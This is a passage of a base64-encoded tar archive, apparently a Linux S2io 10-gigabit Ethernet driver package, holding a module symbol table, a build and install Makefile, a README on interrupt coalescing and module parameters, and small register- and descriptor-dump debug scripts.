cyIgfSwKCXsgMHhhNGFkNGMzMSwgInBlcl9jcHVfX2NwdV9pbmZvIiB9LAoJeyAweDgzMjBiZWE4 LCAiX191bW9kc2kzIiB9LAoJeyAweGZiN2Q5YzQ1LCAiX191ZGl2c2kzIiB9LAoJeyAweGUyZDBl MTRkLCAic2JhX2ZyZWVfY29oZXJlbnQiIH0sCgl7IDB4ODI3ZDU4MDcsICJwcmludGsiIH0sCgl7 IDB4M2ZhMDNhOTcsICJtZW1zZXQiIH0sCgl7IDB4YTdlNTNkYmQsICJzYmFfYWxsb2NfY29oZXJl bnQiIH0sCgl7IDB4NTk0ZTEzMTcsICJfX21vZHNpMyIgfSwKfTsKCnN0YXRpYyBjb25zdCBjaGFy IF9fbW9kdWxlX2RlcGVuZHNbXQpfX2F0dHJpYnV0ZV91c2VkX18KX19hdHRyaWJ1dGVfXygoc2Vj dGlvbigiLm1vZGluZm8iKSkpID0KImRlcGVuZHM9IjsKCk1PRFVMRV9BTElBUygicGNpOnYwMDAw MTdENWQwMDAwNTczMXN2KnNkKmJjKnNjKmkqIik7Ck1PRFVMRV9BTElBUygicGNpOnYwMDAwMTdE NWQwMDAwNTgzMXN2KnNkKmJjKnNjKmkqIik7CgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuL01ha2VmaWxlAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDEwMDY0NAAwMDAwMDAwADAwMDAwMDAAMDAwMDAw MDQwNjUAMDc3NDA2MDAwMDEAMDExMzUxACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMhL3Vzci9iaW4vbWFrZQoj IE1ha2VmaWxlIGZvciBidWlsZGluZyBMaW51eCBTMmlvIDEwR2lnYWJpdCBldGhlcm5ldCBkcml2 ZXIgYXMgYSBtb2R1bGUuCgojIFBSRUZJWCBtYXkgYmUgc2V0IGJ5IHRoZSBSUE0gYnVpbGQgdG8g c2V0IHRoZSBlZmZlY3RpdmUgcm9vdC4KUFJFRklYPQppZmVxICgkKHNoZWxsIGxzIC9saWIvbW9k dWxlcy9gdW5hbWUgLXJgL2J1aWxkID4gL2Rldi9udWxsIDI+JjEgJiYgZWNobyBidWlsZCksKQog IGlmZXEgKCQoc2hlbGwgbHMgL3Vzci9zcmMvbGludXggPiAvZGV2L251bGwgMj4mMSAmJiBlY2hv IGxpbnV4KSwpCiAgICBMSU5VWD0KICBlbHNlCiAgICBMSU5VWD0vdXNyL3NyYy9saW51eAogIGVu ZGlmCmVsc2UKICBMSU5VWD0vbGliL21vZHVsZXMvYHVuYW1lIC1yYC9idWlsZAplbmRpZgoKaWZl cSAoJChMSU5VWCksKQogICQoZXJyb3IgTGludXgga2VybmVsIHNvdXJjZSB0cmVlIG5vdCBmb3Vu ZCkKZW5kaWYKCkNDID0gZ2NjCkxEID0gbGQKCgpJTkNMVURFRElSOj0kKHNoZWxsIHVuYW1lIC1y IHwgc2VkICdzL1woWzAtOV0qXC5bMC05XSpcKVwuLiovXDEvJykKCkFSQ0g6PSQoc2hlbGwgdW5h bWUgLW0pCgppZmVxICgkKElOQ0xVREVESVIpLDIuNikKCmlmbmVxICgkKEtFUk5FTFJFTEVBU0Up LCApCm9iai1tIDo9IHMyaW8ubwoKZWxzZQpLRElSIDo9IC9saWIvbW9kdWxlcy8kKHNoZWxsIHVu YW1lIC1yKS9idWlsZApQV0QgOj0gJChzaGVsbCBwd2QpCmRlZmF1bHQ6CglAZWNobyBCdWlsZCBv biBMaW51eC0kKElOQ0xVREVESVIpOwoJJChNQUtFKSAtQyAkKEtESVIpIFNVQkRJUlM9JChQV0Qp IG1vZHVsZXMKZW5kaWYKZW5kaWYKCmlmZXEgKCQoSU5DTFVERURJUiksMi40KQojIERlZmF1bHQg ZmxhZ3MgZm9yIGlhNjQsIGFscGhhLCB4ODZfNjQsIGk2ODYgJiBwcGM2NApDRkxBR1M9IC1ETU9E VUxFIC1EX19LRVJORUxfXyAtSS91c3Ivc3JjL2xpbnV4LSQoSU5DTFVERURJUikvaW5jbHVkZSAt V2FsbFwKIC1Xc3RyaWN0LXByb3RvdHlwZXMgLU82IAoKaWZlcSAoJChBUkNIKSxhbHBoYSkKQ0ZM QUdTKz0tZmZpeGVkLTggLW1uby1mcC1yZWdzIC1waXBlIC1PMgplbmRpZgoKaWZlcSAoJChBUkNI KSxwcGM2NCkKQ0MgPSAvb3B0L2Nyb3NzL2Jpbi9wb3dlcnBjNjQtbGludXgtZ2NjCkxEID0gL29w dC9jcm9zcy9iaW4vcG93ZXJwYzY0LWxpbnV4LWxkCmVuZGlmCgppZmVxICgkKEFSQ0gpLGlhNjQp CmVuZGlmCgppZmVxICgkKEFSQ0gpLHg4Nl82NCkKQ0ZMQUdTKz0gLW1jbW9kZWw9a2VybmVsCmVu ZGlmCgojaWZlcSAoJChBUkNIKSxpNjg2KQojZW5kaWYKCmFsbDogczJpby5vCglAZWNobyBCdWls ZCBvbiBMaW51eC0kKElOQ0xVREVESVIpOwoJCnMyaW8ubzogczJpby5oCgppbnN0YWxsOiBzMmlv Lm8KCUBlY2hvIEluc3RhbGwgb24gTGludXgtJChJTkNMVURFRElSKTsKCUBpZiBbIC1kICQoUFJF RklYKS9saWIvbW9kdWxlcy9gdW5hbWUgLXJgL2tlcm5lbC9kcml2ZXJzL25ldC9zMmlvIF07XAoJ dGhlbiBpbnN0YWxsIC1tIDQ0NCBzMmlvLm8gJChQUkVGSVgpL2xpYi9tb2R1bGVzL2B1bmFtZSAt cmAva2VybmVsL2RyaXZlcnMvbmV0L3MyaW87XAoJZWxpZiBbIC1kICQoUFJFRklYKS9saWIvbW9k dWxlcy9gdW5hbWUgLXJgL2tlcm5lbC9kcml2ZXJzL25ldCBdO1wKCXRoZW4gaW5zdGFsbCAtbSA0 NDQgczJpby5vICQoUFJFRklYKS9saWIvbW9kdWxlcy9gdW5hbWUgLXJgL2tlcm5lbC9kcml2ZXJz L25ldDtcCglmaQoJQGlmIFsgIiQoUFJFRklYKSIgPSAiIiBdOyB0aGVuIC9zYmluL2RlcG1vZCAt YSA7XAoJZWxzZSBlY2hvICIgKioqIFJ1biAnL3NiaW4vZGVwbW9kIC1hJyB0byB1cGRhdGUgdGhl IG1vZHVsZSBkYXRhYmFzZS4iO1wKCWZpCgouUEhPTkVZOiBhbGwgY2xlYW4gaW5zdGFsbAoKZW5k aWYKCmNsZWFuOgoJQGVjaG8gQ2xlYW4gb24gTGludXgtJChJTkNMVURFRElSKTsKCUBpZiBbICIk KElOQ0xVREVESVIpIiA9ICIyLjQiIF07IHRoZW4gL2Jpbi9ybSAtZiBzMmlvLm87XAoJZWxpZiBb ICIkKElOQ0xVREVESVIpIiA9ICIyLjYiIF07IHRoZW4gL2Jpbi9ybSAtZiBzMmlvLm8gczJpby5t b2QuYyBzMmlvLm1vZC5vIHMyaW8ua287XAoJZmkKIAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuL1JFQURNRS50eHQAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAMDEwMDY0NAAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDQ2MzEA MDc3NjMxNzE0NzQAMDExNDM0ACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADEuIElmIGp1bWJvIGZyYW1lcyBhcmUg YmVpbmcgdXNlZCwgd2l0aCBNVFUgc2l6ZXMgaW4gZXhjZXNzIG9mIDE1MDAgYnl0ZXMgdGhlIA0K VHgvUnggc2lkZSBjb2FsZXNjaW5nIGhhcyB0byBiZSB2YXJpZWQuIA0KRm9yIGFuIE1UVSBzaXpl IG9mIDk2MDAgdGhlIGNvYWxlc2NpbmcgcGFyYW1ldGVzIHdoaWNoIGNhbiBiZSB1c2VkIGFyZSwN Cg0KRm9yIFR4IGludGVycnVwdHMuDQoNCgklIEJhbmR3aWR0aCB1c2VkCU5vIG9mIFBhY2tldHMg cGVyIGludGVycnVwdC4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQ0KaS4JMCAtIDEwCQkJCTENCmlpLgkxMCAtIDE1CQkJCTINCmlp aS4JMTUgLSA0MAkJCQkyDQppdi4JNDAgLSAxMDAJCQk0DQoNCkZvciBSeCBzaWRlLA0KDQoJJSBC YW5kd2lkdGggdXNlZAlObyBvZiBQYWNrZXRzIHBlciBpbnRlcnJ1cHQuDQotLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCmkuIAkwIC0g MTAJCQkJMQ0KaWkuIAkxMCAtIDE1CQkJCTINCmlpaS4gCTE1IC0gNDAJCQkJNA0KaXYuIAk0MCAt IDEwMAkJCTgNCg0KMi4gVGhlIFV0aWwgaXMgYSB1dGlsaXR5IHRoYXQgY2FuIGJlIHVzZWQgdG8g bG9vayBpbnRvIHRoZSBSZWdpc3RlciBzcGFjZSBvZiB0aGUgTklDIGFuZCBhbHNvIHRvIGR1bXAg c29tZSBkYXRhIGZyb20gdGhlIGRyaXZlci4gVGhlIHV0aWwuYyBiYXNpY2FsbHkgbWFrZXMgDQpJ T0NUTCBjYWxscyB0byB0aGUgZGV2aWNlIHRvIGV4dHJhY3QgdGhpcyBpbmZvLCBzbyB0aGUgZGV2 aWNlIG5hbWUgdmFyaWFibGUgaW4gDQp0aGUgY29kZSBoYXMgdG8gYmUgY2hhbmdlZCBhcHByb3By aWF0ZWx5IGFuZCByZWNvbXBpbGVkICh1c2luZyBiZCBzY3JpcHQpIA0KYmVmb3JlIHVzaW5nIHRo aXMgdG9vbC4NCg0KMy4gV2hlbiBsb2FkZWQgYXMgYSBtb2R1bGUsIHRoZSBkcml2ZXIgcHJvdmlk ZXMgYSBob3N0IG9mIE1vZHVsZSBsb2FkYWJsZQ0KcGFyYW1ldGVycywgc28gdGhlIGRldmljZSBj YW4gYmUgdHVuZWQgYXMgcGVyIHRoZSB1c2VycyBuZWVkcy4NCkEgbGlzdCBvZiB0aGUgTW9kdWxl IHBhcmFtcyBpcyBnaXZlbiBiZWxvdy4NCgkoaSkJCXJpbmdfbnVtOiBUaGlzIGNhbiBiZSB1c2Vk IHRvIHByb2dyYW0gdGhlIG51bWJlciBvZiByZWNlaXZlIA0KCQkJcmluZ3MgdXNlZCBpbiB0aGUg ZHJpdmVyLg0KCShpaSkJcmluZ19sZW46IFRoaXMgZGVmaW5lcyB0aGUgbnVtYmVyIG9mIGRlc2Ny aXB0b3JzIGVhY2ggcmluZyBjYW4gaGF2ZS4NCgkJCVRoZXJlIGNhbiBiZSBhIG1heGltdW0gb2Yg OCByaW5ncy4NCgkoaWlpKQlmcmFtZV9sZW46IFRoaXMgaXMgYW4gYXJyYXkgb2Ygc2l6ZSA4LiBV c2luZyB0aGlzIHdlIGNhbiBzZXQgdGhlIA0KCQkJbWF4aW11bSBzaXplIG9mIHRoZSByZWNlaXZl ZCBmcmFtZSB0aGF0IGNhbiBiZSBzdGVlcmVkIA0KIAkJCWludG8gdGhlIGNvcnJzcG9uZGluZyBy ZWNlaXZlIHJpbmcuCQ0KICAJKGl2KQlmaWZvX251bTogVGhpcyBkZWZpbmVzIHRoZSBudW1iZXIg b2YgVHggRklGT3MgdGhhdHMgdXNlZCBpbiB0aGUgDQoJCQlkcml2ZXIuIA0KIAkodikJCWZpZm9f bGVuOiBFYWNoIGVsZW1lbnQgZGVmaW5lcyB0aGUgbnVtYmVyIG9mIA0KIAkJCVR4IGRlc2NyaXB0 b3JzIHRoYXQgY2FuIGJlIGFzc29jaWF0ZWQgd2l0aCBlYWNoIGNvcnJlc3BvbmRpbmcgRklGTy4N CgkJCVRoZXJlIGFyZSBhIG1heGltdW0gb2YgOCBGSUZPcy4NCgkodmkpCXR4X3ByaW86IFRoaXMg aXMgYSBib29sLCBpZiBtb2R1bGUgaXMgbG9hZGVkIHdpdGggYSBub24temVybw0KCQkJdmFsdWUg Zm9yIHR4X3ByaW8gbXVsdGkgRklGTyBzY2hlbWUgaXMgYWN0aXZhdGVkLg0KCSh2aWkpCXJ4X3By aW86IFRoaXMgaXMgYSBib29sLCBpZiBtb2R1bGUgaXMgbG9hZGVkIHdpdGggYSBub24temVybw0K CQkJdmFsdWUgZm9yIHR4X3ByaW8gbXVsdGkgUklORyBzY2hlbWUgaXMgYWN0aXZhdGVkLg0KCSh2 aWlpKQlsYXRlbmN5X3RpbWVyOiBUaGUgdmFsdWUgZ2l2ZW4gYWdhaW5zdCB0aGlzIHBhcmFtIHdp bGwgYmUgbG9hZGVkDQoJCQlpbnRvIHRoZSBsYXRlbmN5IHRpbWVyIHJlZ2lzdGVyIGluIFBDSSBD b25maWcgc3BhY2UsIGVsc2UNCgkJCXRoZSByZWdpc3RlciBpcyBsZWZ0IHdpdGggaXRzIHJlc2V0 IHZhbHVlLg0KDQpCVUlMRCBJTlNUUlVDVElPTlMuDQpBIG1ha2UgZmlsZSBpcyBwcm92aWRlZC4g IEl0IHdpbGwgZGV0ZWN0IElBMzIsSUE2NCxPcHRlcm9uLFBPV0VSUEMtNjQgDQpwbGF0Zm9ybXMu IEl0IGNhbiBhbHNvIGRldGVjdCAyLjQvMi42IGtlcm5lbCB2ZXJzaW9ucy4gUGxlYXNlIG5vdGUs IGZvciAyLjQNCmtlcm5lbCwgeW91IG5lZWQgdG8gbG9hZCAiczJpby5vIiBhbmQgZm9yIDIuNiBw bGF0Zm9ybXMgeW91IG5lZWQgdG8gbG9hZA0KInMyaW8ua28iLiANCgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuL2dldHJ4ZAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAMDEwMDY0NAAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDAxMzQAMDc3NTY2 MTIwNzEAMDExMTQzACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4vdXRpbCA0CmhleGR1bXAgLUN2IC90bXAvZHVt cCA+IC90bXAvcnhkCnZpIC90bXAvcnhkCmVjaG8gImhlbGxvIgplY2hvICJ0ZXN0IgplY2hvICJ0 ZXN0MSIKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALi9nZXRzdGF0AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAADAxMDA2NDQAMDAwMDAwMAAwMDAwMDAwADAwMDAwMDAwMDczADA3NjcyNDA0 NjYxADAxMTMyNAAgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1 c3RhciAgAHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKLi91dGlsIDIKaGV4ZHVtcCAtQyAtdiAvdG1wL2R1 bXAgPiAvdG1wL3N0YXQKdmkgL3RtcC9zdGF0CgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4vZ2V0dHhkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAwMTAwNjQ0ADAwMDAwMDAAMDAwMDAwMAAwMDAwMDAwMDA3MAAwNzY3MjQwNDY2 MQAwMTExNDUAIDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdXN0 YXIgIAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJvb3QAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALi91dGlsIDEKaGV4ZHVtcCAtQyAtdiAvdG1wL2R1bXAg PiAvdG1wL3R4ZAp2aSAvdG1wL3R4ZAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuL3JlZ2R1bXAuYwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAMDEwMDY0NAAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDA1MDMAMDc3NTE2MDQ2NjAA MDExNTMyACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHVzdGFy ICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAACNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4odm9pZCkK ewoJY2hhciBjbWRbMjBdOwoJaW50IHJlZz0wLCByZWdfY250ID0gMHgzODAwOwoJbWVtc2V0KGNt ZCwwLDIwKTsKCglmb3IocmVnPTA7IHJlZzxyZWdfY250OyByZWcgKz0gOCkgewoJCXNwcmludGYo Y21kLCIuL3V0aWwgNiAleCIscmVnKTsKCQlzeXN0ZW0oY21kKTsKCX0KCglyZXR1cm4gMDsKfQov KgogKiRMb2c6IHJlZ2R1bXAuYyx2ICQKICpSZXZpc2lvbiAxLjIgIDIwMDMvMTEvMDQgMDI6MDY6 NDAgIHVraXJhbgogKkJ1Zzo0ODQKICpFbmFibGluZyBMb2dzIGluIHNvdXJjZSBjb2RlCiAqCiAq LwoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAALi9yZWdzLmgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAADAxMDA2NDQAMDAwMDAwMAAwMDAwMDAwADAwMDAwMDY2MDUwADEwMDAyNzI0MjE1ADAx MTAyMwAgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAg AHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAA 